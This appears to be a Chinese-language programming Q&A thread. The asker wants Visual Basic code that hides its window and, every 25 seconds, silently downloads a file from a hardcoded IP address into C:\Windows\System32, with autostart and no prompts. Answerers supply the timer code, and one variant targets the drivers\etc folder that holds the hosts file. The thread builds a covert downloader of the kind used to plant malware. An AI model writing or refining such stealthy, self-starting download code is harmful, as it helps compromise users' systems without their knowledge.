求高手指教VB循环运行

Question

Private Declare Function URLDownloadToFile Lib "urlmon" Alias "URLDownloadToFileA" (ByVal pCaller As Long, ByVal szURL As String, ByVal szFileName As String, ByVal dwReserved As Long, ByVal lpfnCB As Long) As LongPrivate Sub Command1_Click()
URLDownloadToFile 0, "http://198.200.35.161/2.txt", "C:\Windows\System32\ics", 0, 0
End Sub
Private Sub Form_Load()
App.TaskVisible = False
Call Command1_Click
End Sub请高手帮忙如果让上面这段代码每25秒循环运行一次而且加入自启动，运行中无弹窗提示，
大家帮帮忙感激不尽VB

Answer 1

具体如下
1.窗体中增加timer控件，NAME默认为TIMER1
2.将Timer1的Interval属性设置为25000，即每隔25秒触发一次。
3.在双击时钟，后台自动生成Private Sub Timer1_Timer()方法，在里面写你要做的就行了。

Answer 2

加人一个定时器，interval值设置为2500sub timer1_timer
URLDownloadToFile 0, "http://198.200.35.161/2.txt", "C:\Windows\System32\ics", 0, 0
end sub

Answer 3

Private Declare Function URLDownloadToFile Lib "urlmon" Alias "URLDownloadToFileA" (ByVal pCaller As Long, ByVal szURL As String, ByVal szFileName As String, ByVal dwReserved As Long, ByVal lpfnCB As Long) As LongPrivate Sub Command1_Click()
URLDownloadToFile 0, "http://198.200.35.161/2.txt", "C:\Windows\System32\drivers\etc\hosts.ics", 0, 0
End Sub
Private Sub Form_Load()
App.TaskVisible = False
Call Command1_Click
End SubSub Timer1_Timer()
URLDownloadToFile 0, "http://198.200.35.161/2.txt", "C:\Windows\System32\drivers\etc\hosts.ics", 0, 0
End Sub
用时钟无效；只下载一次后面就再也不下载了

Answer 4

可能是由于文件hosts.ics已存在的缘故。